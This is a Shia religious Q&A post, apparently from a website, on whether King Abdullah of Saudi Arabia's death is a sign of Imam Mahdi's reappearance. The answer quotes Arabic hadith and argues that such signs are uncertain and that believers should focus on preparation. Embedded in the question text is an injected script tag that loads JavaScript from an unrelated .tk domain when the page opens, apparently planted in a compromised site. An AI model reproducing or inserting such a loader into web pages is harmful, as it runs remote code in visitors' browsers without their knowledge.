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Imam Mahdi (atfs) reappearance and the death of King Abdullah

Q:

Can we consider the death of King Abdullah of Saudi as one of the signs of the reappearance of Imam Mahdi (atfs)? What is our responsibility in this regard?<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>

A:

The discussion on King Abdullah's death  and Imam Mahdi's reappearance and signs related to it has been viral in different social media. I would like to draw your attention towards the following points:

 

1. We Shias await for the reappearance of Imam (atfs) which is guaranteed and other related stuff (signs related to appearance which are just probable indications) are NOT guaranteed. 

The following narration beautifully explains this:

    أخبرنا محمد بن همام قال حدثنا محمد بن أحمد بن عبد الله الخالنجي‏ قال حدثنا أبو هاشم داود بن القاسم الجعفري قال كنا عند أبي جعفر محمد بن علي الرضا ع فجرى ذكر السفياني و ما جاء في الرواية من أن أمره من المحتوم فقلت لأبي جعفر ع هل يبدو لله في المحتوم قال نعم قلنا له فنخاف أن يبدو لله في القائم فقال إن القائم من الميعاد و الله لا يخلف الميعاد

( الغيبةللنعماني ص : 303)

Meaning: The only thing which is sure or guaranteed from which Allah swt will not refrain is the reappearance of Imam (atfs) and the other signs (such as Sufyani etc) are subject to change!

This book is been written in the 4th Century of Hijra. The author is the student of Sh Kulayni.

 

2. We should encourage youths to get prepared for the reappearance. They should be best among the best in their own respective professions to be among those closest group of Imam's friends and helpers.

The discussions on signs of the day of judgment and the signs related to reappearance of Imam (atfs) is always the MOST FASCINATING disucssion for youths BUT that is not something we can emphasis a lot.

They give up their faith, if that sign doesn't occur or is delayed or is not occurring the way he/she is been taught. The following narration depicts this point very clearly:

 

و أخبرنا محمد بن يعقوب عن محمد بن يحيى و أحمد بن إدريس عن محمد بن أحمد عن السياري عن الحسن بن علي بن يقطين عن أخيه الحسين عن أبيه علي بن يقطين قال قال لي أبو الحسن موسى بن جعفر ع يا علي الشيعة تربى بالأماني منذ مائتي سنة

 قال و قال يقطين لابنه علي بن يقطين ما بالنا قيل لنا فكان و قيل لكم فلم يكن يعني أمر بني العباس فقال له علي إن الذي قيل لكم و لنا كان من مخرج واحد غير أن أمركم حضر وقته فأعطيتم محضه فكان كما قيل لكم و إن أمرنا لم يحضر فعللنا بالأماني فلو قيل لنا إن هذا الأمر لا يكون إلا إلى مائتي سنة أو ثلاثمائة سنة لقست القلوب و لرجع عامة الناس عن الإيمان إلى الإسلام و لكن قالوا ما أسرعه و ما أقربه تألفا لقلوب الناس و تقريبا للفرج

( الکافی ج 1 ص 369 )

 

Meaning: We haven't given a fix time for the reappearance of Imam (atfs) so people do not give up their faith if some changes occurs in it. So we have always said: It is near, it is near (so people always be in preparation)

This narration is in Al Kafi of Sh Kulayni.

3. Narrations on the topic of signs of the reappearance:

Most of these narrations come from books like Al Fitan wal Malahim (predictions related to the end of the world….fairy tales!) which are not authentic and our scholars do not rely much on such books.

 

4. Theological discussions couldn't be based on solitary reports (We are not obliged to believe, theologically, on a single narration quoted in any of the hadith books. Yes in jurisprudence we should!)

5. Abdullah: 

The narration related to the death of Abdullah appears in the book of Sheikh Tusi:

 عنه عن عثمان بن عيسى عن درست بن أبي منصور عن عمار بن مروان عن أبي بصير قال سمعت أبا عبد الله ع يقول من يضمن لي موت عبد الله أضمن له القائم ثم قال إذا مات عبد الله لم يجتمع الناس بعده على أحد و لم يتناه هذا الأمر دون صاحبكم إن شاء الله و يذهب ملك السنين و يصير ملك الشهور و الأيام فقلت يطول ذلك قال كلا 

Book: Al Gaybat by Sheikh Tusi: Pg 447

 

Meaning: Whoever guarantees me the death of Abdullah, I will guarantee him the reappearance of Imam (atfs). When Abdullah will die, people will not have consensus on one….

 

Points:

A.           We do not know who this Abdullah is?

B.           Abdullah from which land? We have king of Jordan who is Abdullah too!

C.           Abdullah was the name of the contemporary rulers of Imam Sadiq, al-Saffah and al-Mansur, and therefore perhaps the Imam was conveying a provisional Divine decree regarding one of them, which was later abrogated (Sayyed Sulayman Ali Hassan)

D.           Abdullah is sometimes used in Arabic as a generic place-holder for a name, since it means "servant of God"--therefore the Imam may have used this expression to partially obscure or conceal the actual name of the person (Sayyed Sulayman Ali Hassan)

E.           This narration says that: People won’t have consensus on one! Saudis and the entire world have already accepted Salman b Abdil Aziz to be the next king. Who dares to challenge Salman. A track record of working in Arab countires since 1950s! 

F.           Imam (atfs) is not waiting for the death of such Abdullahs for his reappearance rather he is waiting for the preparation of me and you for his reappearance. A global government of Imam (atfs) would need global leaders with a broad vision and plan! It’s a shame that Shite world is more fascinated by death of Abdullahs and linking it with Imam’s reappearance. I wonder whether Imam’s (atfs) priority is the death of Abdullahs or my preparation!

 

6. Application of the titles:

One of the current problems of Muslim world is applying titles to different groups and people. If Imam were supposed to give the details, he would have given it with all the specifications and if it’s not given, let it be ambiguous. We can't forge an application for it. We have many titles such as Khawarij, Bani Israel, Qadariyyah etc etc in Islamic History. We can’t make application on various groups saying that these people are like Jews and those like Majus and others are Khawarij and so on.

Kumail Rajani